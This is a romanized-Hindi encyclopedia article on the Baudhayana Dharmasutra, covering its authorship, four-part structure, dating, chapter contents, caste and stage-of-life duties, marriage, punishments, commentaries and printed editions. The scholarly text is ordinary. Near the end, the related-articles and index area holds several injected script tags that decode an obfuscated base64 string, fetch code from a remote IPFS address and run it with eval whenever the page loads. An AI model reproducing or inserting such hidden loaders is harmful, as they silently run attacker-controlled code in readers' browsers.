बौधायन धर्मसूत्र
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karta
is dharmasootr ke rachayita baudhayan (ya bodhayan) haian. kintu svayan is dharmasootr mean baudhayan ke mat ko kee sthaloan par uddhrit kiya gaya hai.[1] ek sthan par tarpan ke prasang mean any sootrakaroan ke sath kanv baudhayan ka ullekh bhi kiya gaya hai.[2] isase spasht hai ki kanv baudhayan vartaman dharmasootr ke karta nahian ho sakate. is dharmasootr ki rachana ke samay ve rrishi mane jate the. vartaman dharmasootr ka karta inaka hi vanshaj hai, jisaki arvachinata svat: siddh hai. baudhayan dharmasootr ke tikakar govindasvami ne bhi vartaman dharmasootr ke karta ko kanvayan kaha hai.
svaroop
yah dharmasootr char prashnoan mean haian. prashnoan ka vibhajan adhyay tatha khandoan mean kiya gaya hai.
- pratham prashn mean 11 adhyay tatha 21 khand haian.
- dvitiy prashn mean 10 adhyay tatha 12 khand haian.
- tritiy prashn mean 10 adhyay tatha 10 hi khand haian.
- chaturth prashn mean 8 adhyay tatha 8 khand haian.
tritiy tatha chaturth prashn ke adhyay tatha khandoan mean koee antar nahian hai. tritiy prashn mean kisi mahattvapoorn vishay ka vivechan n karake poorv vivechit vishayoan par hi atirikt niyam diye gaye haian. is prashn ka dasham adhyay gautam dharmasootr se uddhrit hai tatha shashth adhyay vishnu dharmasootr ke a datalisavean adhyay ke tuly hai. baudhayan dharmasootr mean vishayavastu ke vibhajan mean astavyastata hai. kee vishay anek bar tatha bina kisi kram-vyavastha ke doharaye gaye haian. yatha dayabhag ke niyamoan ka pratipadan prayashchit-prakaran ke madhy hai. anadhyayoan ki charcha ashtavidh vivah ke prasang mean ki gayi hai. pratham prashn ke tritiy adhyay mean tatha pun: 2.3.10 mean snatak ke vratoan ki charcha ki gayi hai. is dharmasootr mean ek hi sthan par kisi bhi vishay ke sabhi niyamoan ko samapt nahian kar diya jata, apitu ek hi vishay ka bhinn-bhinn adhyayoan mean vivechan kiya gaya hai. yatha-uttaradhikar, prayashchit, shuddhi, putr-bhed tatha anadhyay bhinn-bhinn sthaloan par charchit haian.[3]
bhasha evan shaili
baudhayan dharmasootr ki bhasha panini poorv pratit hoti hai. isamean anek apaniniy prayog bhi upalabdh hote haian[4] 'abhigachchhath' tatha[5] 'anayitva' prayog paniniy vyakaran ke viruddh haian. yah sootragranth gady-padyamay hai. brahman-granthoan ki shaili ke sadrish lambe gadyatmak aansh tatha chhote-chhote sootr bhi isamean haian. is dharmasootr mean anek vedamantr sampoorn roop mean[6] ya aanshik[7] roop mean uddhrit haian. vaidik mantroan athava mantraanshoan ka nirdesh 'iti shruti:' tatha 'iti vijnayate' dvara kiya gaya hai. 'athapyudaharanti' kahakar anek shlokoan ko isamean uddhrit kiya gaya hai. baudhayan pray: virodhi mat ko upasthit karane ke pashchath hi apana mat dete haian. is sootragranth ki shaili any dharmasootroan ki apeksha saral hai. [8]govindasvami ne is tathy ki or iangit kiya hai ki baudhayan laghavapriy nahian haian. vibhajan ki ast-vyastata ke karan aisa mana jata hai ki samay-samay par isamean parivartan evan parivardhan kiye jate rahe haian, jis karan is dharmasootr ka kuchh aansh prakshipt hai. yatha chaturth prashn bad mean jo da gaya pratit hota hai. isake char adhyayoan mean prayashchitt ka vivechan kiya gaya hai, jisaka pratipadan pahale hi dvitiy prashn ke pratham adhyay mean 'athat: prayashchittani'[9] kahakar diya gaya hai.
baudhayan dharmasootr ka samay
baudhayan dharmasootr mean hiranyakeshi, apastamb tatha kanv baudhayan tinoan ka nam-nirdeshapoorvak ullekh hua.[10] punarapi hiranyakeshi shrautasootr ke bhashyakar mahadev ne baudhayan ko apastamb se prachin mana jata hai. baudhayan ne apane dharmasootr mean do bar gautam ka nam lekar ullekh kiya hai[11] tatha gautam dharmasootr ke 19vean adhyay ke anek sootroan ko jyoan-ka-tyoan[12] tatha anek sootroan ko paravarti roop mean apane dharmasootr mean grahan kar liya hai. at: baudhayan dharmasootr nishchit roop se gautam dharmasootr se paravarti rachana hai. isi prakar baudhayan tatha apastamb dharmasootroan mean bhi kee sthanoan par samanata hai. apastamb mean prapt kee sootroan ko baudhayan 'iti' lagakar uddhrit karate haian. isase yahi siddh hota hai ki baudhayan ne in sootroan ko apastamb se grahan kiya hai. apastamb ki bhasha tatha shaili adhik avyavasthit hai, sath hi isamean purane arthoan mean hi shabdoan ka prayog kiya gaya hai. is adhar par apastamb ko baudhayan se poorvavarti mana jata hai. byoohalar baudhayan ko apastamb se poorvavarti manate haian. unaka tark hai ki apastamb dvara pratipadit mat baudhayan ki apeksha paravarti hai tatha apastamb ne baudhayan ke matoan ki alochana bhi ki hai. baudhayan dharmasootr mean pratipadit vishayoan ko sankshep mean is prakar spasht kiya ja sakata hai-
pratham prashn
- adhyay-1 dharm, aryavart, vibhinn pradeshoan ke achar, brahmachary tatha upanayan, abhivadan ke niyam.
- adhyay-2 shishy ki yogyata tatha brahmachary ka mahattv.
- adhyay-3 snatak ke kartavy.
- adhyay-4 kamandalu ka mahattv.
- adhyay-5 achaman tatha vastroan evan patroan ki shuddhi, shuddh vastuean, byaj ka niyam, ashauch evan asprishyata, bhakshyabhakshy.
- adhyay-6 bhoomi evan patr ki shuddhi.
- adhyay-7 yajn ke niyam.
- adhyay 8-9 patni, vivah, putr ke prakar.
- adhyay-10 kar ka aansh, varnadharm, varnanusar manushy-vadh ka dand, sakshi ki yogyata.
- adhyay-11 vivah ke bhed aur anadhyay.
dvitiy prashn
- adhyay-1 patak karmoan ke prayashchit, pataniy karm, krichchhavrat ke bhed.
- adhyay-2 sampatti vibhajan tatha putr ke bhed, stri ki paratantrata evan stri-dharm.
- adhyay-3 snan, dan evan bhojan ki vidhi, nivasayogy sthan evan poojy vyakti.
- adhyay-4 sandhyopasan, gayatri evan pranayam.
- adhyay-5 sharirik shuddhi evan tarpan.
- adhyay-6 grihasth, vanaprasth evan sannyasi ke kartavy.
- adhyay-7 atmajnan.
- adhyay-8 shraddh evan dan ki vidhi.
- adhyay-9 santan-utpatti ka mahattv.
- adhyay-10 sannyas tatha atmayajn.
tritiy prashn
- adhyay-1 parivrajak ke bhed.
- adhyay-2 chh: prakar ki jivan-vritiyaan.
- adhyay-3 vanaprasth ke bhed.
- adhyay-4 vratabhang ka prayashchit.
- adhyay 5-9 aghamarshan, yavakavrat, kooshmandahom, chandrayan, anashnatparayan.
- adhyay-10 prayashchitt ke niyam.
chaturth prashn
- adhyay-1 prayashchitt, kanyadan ka kal, rritugaman ka mahattv, pranayam.
- adhyay-2 bhroonahatya ka prayashchitt, avakirni ka prayashchitt.
- adhyay-3 rahasyaprayashchitt.
- adhyay-4 shastr-sampraday.
- adhyay-5 jap tatha vividh vrat.
- adhyay-6 prayashchitt ke niyam.
- adhyay-7 dharmapalan ki prashansa.
- adhyay-8 ganahom.
pratipady ka vishleshan
baudhayan dharmasootr mean vyakti ke vyaktigat evan samajik achar tatha kartavyoan ka vishad vivechan kiya gaya hai. bharatiy sanskriti ka adhar varn-vyavastha rahi hai. is dharmasootr mean sabhi varnoan evan ashramoan ke kartavyoan par vistar se prakash dala gaya hai. baudhayan ke anusar brahman ka kartavy vedadhyayan, dan lena-dena tatha yajn karana hai. vedadhyayan ke sath-sath yajn karana, dan dena, praniyoan ki raksha karana kshatriyoan ke kartavy haian tatha adhyayan, yajn, krishi, vyapar tatha pashupalan vaishyoan ke kartavy haian. shoodr ka keval ek hi kartavy hai tinoan varnoan ki seva karana. yadyapi samanyat: in karyoan ka vidhan kiya gaya hai, kintu inamean vyavasthit kram bhi dekhane ko milata hai- yatha 1-5-10 mean brahmanoan ko kheti karane ki chhoot bhi di gayi hai. isi prakar vishesh sthiti mean brahman tatha vaishy ko bhi shastr grahan karane ka vidhan kiya gaya hai. ek sthan par yah bhi kaha gaya hai ki pashupalak, vyapar karane vale, bhrityoan ka kary karane vale tatha soodakhor brahmanoan ke sath shoodr ke saman acharan karean.[13] vaishy sood par dhan de sakata hai kintu adhik byaj lena pap hai.[14]
char ashram
is dharmasootr mean manushy jivan ko brahmachary, grihasth, vanaprasth tatha parivrajak ke roop mean char ashramoan mean vibhakt karake prithak-prithakh sabake kartavy ginaye gaye haian.
- brahmachary ke niyamoan mean brahmachari ki bhiksha, yajnopavit, sandhya, achaman, anadhyay adi ke sambandh mean jo kuchh bhi kaha gaya hai vah vartaman manusmriti mean nirdisht brahmachari ke kartavyoan ke saman hi hai. itana hi nahian, apitu aise anek shlok bhi baudhayan dharmasootr mean upalabdh hote haian, jo ki manusmriti mean bhi vidyaman haian.[15]
- grihasth ke lie any dharmagranthoan ki bhaanti baudhayan ne bhi ath vivah mane haian.[16] grihasthashram se poorv vidya samapt karake tin prakar ke snatakoan ka ullekh yahaan par kiya gaya hai-
- vedasnatak,
- vratasnatak tatha
- vedavratasnatak.
grihasth ke lie baudhayan ne devayajn, pitriyajn, bhootayajn, manushyayajn tatha brahmayajn ke roop mean panch mahayajnoan ka vidhan kiya hai tatha inako mahasatr kaha hai. svadhyay par paryapt bal diya gaya hai, yahaan tak ki use brahmayajn kaha gaya hai. svadhyay ke sath-sath gayatri-jap, pranayam tatha sandhyopasan ka vidhan bhi yahaan par kiya gaya hai. sootrakar ka in kriyaoan par sambhavat: isalie bal hai ki ye kary vyakti ko sanmarg ki or prerit karate haian. vaikhanas arthath sannyasi ke lie das prakar ki diksha ka vidhan yahaan par kiya gaya hai.
vivah ke vividh niyam
yadyapi baudhayan ne vivah ke vividh niyam bana kar stri-purushoan ki kamapravritti ko uchit disha dene ka yatn kiya hai, tathapi unhean pata hai ki kumargagamiyoan dvara samaj mean anaitik sambandh bhi panap jate haian. isi ko dhyan mean rakhate hue baudhayan ne santan ke kee prakar ginae haian-yatha- kanin, dattak, kritrim, apaviddh, sahodh, krit tatha paunarbhav. inamean se kuchh par vichar karana avashyak hai. avivahit kanya se utpann putr kanin kahalata hai. pratit hota hai ki samaj mean tab aise putr ko svikar kar liya jata tha. panini ne bhi isake lie ek sootr ka nirman kiya hai.[17] vivah kal mean garbhini ke udar mean surakshit putr sahodh kahalata hai. klib ya patit pati ko chho dakar any pati se utpann santan paunarbhav kahalati thi.[18] isase niyog pratha ki or sanket milata hai. ukt sabhi putr dayabhag ke adhikari the. vyabhichar ke lie baudhayan kathoratam dand ka vidhan karate haian, yahaan tak ki agni mean jivit jala dene ka bhi.
baudhayan dharmasootr mean brahman, kshatriy tatha vaishy ke lie kramashah char, tin tatha do patniyoan ka vidhan bhi kiya gaya hai. shoodr ke lie keval ek patni hi vihit hai.[19] yadyapi yah uchch adarsh nahian hai, sath hi varnoan ke prati pakshapat bhi hai; kintu sanbhav hai ki us samay samaj mean yah sab kuchh svikrit ho. isi prasang mean baudhayan ne varnasankaroan ka ullekh bhi kiya hai. pratilom vivah se utpann santanoan ko is dharmasootr ke pratham prashn ke navam adhyay mean chandal, rathakar, kukkut, vaidehak, shvapak, parashav, nishad adi anek namoan se pukara gaya hai[20] ki sabhi varnasankar santanean haian jo varnoan ke paraspar sanbandhoan se utpann huee haian. pratit hota hai ki baudhayan dharmasootr ki rachana ke samay samaj mean ukt avastha utpann ho rahi thi. vivah ki vaidik maryada tootakar varnasankarata ke karan nee–nee jatiyaan banati ja rahian thian. dharmasootroan ne in sabako samajik manyata dene ka upakram kiya jisase ki inaki upeksha n hone pae tatha kisi roop mean samajik bandhan bhi bana rahe.
dand–vidhan
gautam ki bhaanti baudhayan bhi manate haian ki manushy bure karyoan mean lipt ho jata hai.[21] etadarth baudhayan ne anek prakar ke prayashchitoan tatha chandrayan adi vratoan ka vidhan kiya hai jisase vyakti apane pap–bhar ko chho dakar punah sanmarg–gami ban sake. unhoanne is sandarbh mean patakoan tatha upapatakoan ki ganana bhi ki hai tatha sabhi ke lie dand–vidhan kiya hai. inamean se kee dand to atyant kathor haian – yatha – surapan ka dand jalati huee sura pikar sharir ko jalana hai. manusmriti mean bhi is dand ka vidhan isi prakar kiya gaya hai. sambhavatah kathor dand isalie hai jisase vyakti pap–marg mean pravritt hi n ho sake. baudhayan ne saman aparadh ke lie sabhi varnoan ke lie dand mean bhed kiya hai. brahman ke lie yadyapi kathor dand ka vidhan to milata hai tathapi use sabhi aparadhoan mean avadhy kaha gaya hai.[22] varnashram ke sath–sath baudhayan ne raja ke adhikar evan karttavyoan par bhi paryapt prakash dala hai. raja ko praja se ay ka chhatha bhag kar ke roop mean lena chahie, jisase vah praja ki raksha kar sake.[23] abhijnanashakuntalamh mean bhi dushyant dvara kar ke roop mean shashth bhag ka hi ullekh kiya gaya hai.[24]
yajn
baudhayan ne yajn ke samay ne vastr dharan karane ka vidhan kiya hai, sath hi nam lekar yah bhi kaha hai ki yajaman, yajaman patni tatha rritvik ye sabhi shuddh vastr pahanean.[25] is kathan se spasht hai ki striyoan ko bhi pati ke sath yajn mean baithane ka adhikar tha. [26]baudhayan ne striyoan ki svatantrata par rok lagaee hai[27] tatha is vishay mean ek shlok bhi uddhrit kiya hai, jo vartaman manusmriti mean[28] mean bhi svalp shabd–bhed se upalabdh hai. baudhayan dharmasootr ke anusar, dayabhag mean bhi striyoan ka adhikar nahian hai.[29] baudhayan ne kashyap ke nam se ek shlok bhi uddhrit kiya hai – jo stri dravy se kray ki jati hai use patni ka nahian apitu dasi ka sthan prapt hota hai.[30] is prakar kul milakar is dharmasootr mean stri ki sthiti achchhi nahian hai. striyoan ke saman shoodroan ki bhi bahut achchhi sthiti nahian hai. ek sthan par utane samay tak anadhyay karane ka vidhan kiya gaya hai, jitane samay tak shoodr dikhalayi p de ya usaki dhvani sunayi de.[31]
baudhayan dharmasootr ke pratham prashn ke pancham adhyay ke anek sootroan mean maansabhakshan ka prasang bhi chalaya gaya hai. sabhi vidvanh aisa manate haian ki is dharmasootr mean samay samay par anek parivartan evan parivardhan hote rahe haian, jisase pratit hota hai ki yah maans–prakaran tatha stri evan shoodroan ki dinavastha ke pratipadak prakaran bhi isamean prakshipt kar die ge. is prakar is dharmasootr mean manav jivan se sanbandhit prayah sabhi karttavyoan ka vidhan karake use prashast karane ka yatn kiya gaya hai. tatkalik paristhitiyoan ka prabhav sootrakar par p da hi hoga, usi ka digdarshan anekatr is dharmasootr mean dekhane ko milata hai. is dharmasootr ka pratipady manusmriti se paryapt samy rakhata hai.
baudhayan dharmasootr ke vyakhyakar
isaki govindasvamikrit vivaran ‘namni’ ekamatr vyakhya upalabdh hai. is vyakhya mean govand svami ne anek smritiyoan ke uddharan die haian. isake atirikt unhoanne shatatap, shankhalikhit, mahabhashy, yogasootr, bhagavadgita tatha shabarabhashy se bhi anek uddharan die haian. shrautasootroan ke bhi paryapt uddharan isamean prapt hote haian. in sabase govind svami ki vidvata ka anuman kiya ja sakata hai. in uddharanoan se nishchay hi govind svami ki vyakhya ke gaurav mean vriddhi huee hai.
baudhayan dharmasootr ke sanskaran
- sarvapratham ee. hultsh (E. Hultsch) ne lipajig se 1884 ee. mean ise prakashit kiya tha. yah sanskaran govind svami ki ‘vivaran’ tika sahit hai.
- saikred buks aauph di eest–bhag 14 mean isi sanskaran ka byoohlarakrit angl bhashanuvad aauksaphord se prakashit hua. isi ka dvitiy sanskaran 1965 ee. mean dilli mean prakashit hua.
- maisoor gavarnament oriyantal laibreri se 1907 mean ek sanskaran prakashit hua. ‘anandashram smarttasamuchchay’ ke antargat 1929 ee. mean poona se prakashit hai.
- 1924 ee. mean chaukhamba san. sirij aauphis varanasi ne bhi ek sanskaran prakashit kiya jisaka sampadan pandit chinnasvami shastri ne kiya hai. is sanskaran ke aant mean baudhayan dharm ke sootroan mean aye hue pratyek pad ki soochi bhi di huee hai. 1972 mean chaukhamba san. sirij varanasi se hi isaka dvitiy sanskaran prakashit hua hai, jisaka sampadan d aau. umesh chandr pandey ne kiya hai. isamean sootroan ka hindi anuvad bhi hai. prastavana mean anek upayogi vishayoan ki vivechana hai.
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tika tippani aur sandarbh
- ↑ baudhayan dharmasootr, 1.3.13, 1.4.9, 3.5.8, 3.6.2 adi
- ↑ baudhayan dharmasootr, 2.5.27- kanvan baudhayanan tarpayami
- ↑ baudhayan dharmasootr 1.5.105-109 tatha 2.1.49-51 adi
- ↑ yatha 2.9.9 mean
- ↑ 3.3-6 mean
- ↑ yatha baudhayan sootr 2.6.35 par rrimh 2-24-4 adi mantr
- ↑ baudhayan dharmasootr 2-5-13 tatha 3-7.9 adi sootroan par anek mantraansh uddhrit haian
- ↑ 1-3-19 sootr ki tika mean
- ↑ 2.1.1
- ↑ baudhayan dharmasootr 2-5.14
- ↑ baudhayan dharmasootr, 2.1-7 tatha 2.2-17
- ↑ ukto varnadharmashchashramadharmashch- gautam dharmasootr 3.1-1 tatha baudhayan dharmasootr 3.10-1 nahi karm kshiyat iti- gautam dharmasootr, 3.1.5 tatha baudhayan dharmasootr 10.1.5
- ↑ baudhayan dharmasootr 1.5-25
- ↑ baudhayan dharmasootr, 1.5-23
- ↑ baudhayan dharmasootr 1-1.11, 1.4.1, 1.4.2 adi ke shlok
- ↑ baudhayan dharmasootr, 1.11.1 ashtau vivaha:. (ashtadhyayi 4.1.116
- ↑ baudhayan dharmasootr 2.2.26–32
- ↑ baudhayan dharmasootr 1–8, 2–5
- ↑ baudhayan dharmasootr 1–8, 2–5
- ↑ baudhayan dharmasootr 1–8, 2–5
- ↑ baudhayan dharmasootr 2.1.17
- ↑ baudhayan dharmasootr 1.10.17
- ↑ baudhayan dharmasootr 1.10.1 shadbhagabhrito raja rakshetprajamh
- ↑ abhi. shaku. 2–14
- ↑ baudhayan dharmasootr 1–6.5
- ↑ baudhayan mean 2–2–45
- ↑ baudhayan dharmasootr – n stri svatantryan vindate
- ↑ manusmriti, 9.3
- ↑ baudhayan dharmasootr 2–247
- ↑ baudhayan dharmasootr 1.11.4
- ↑ baudhayan dharmasootr 1–11.17
sanbandhit lekh
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>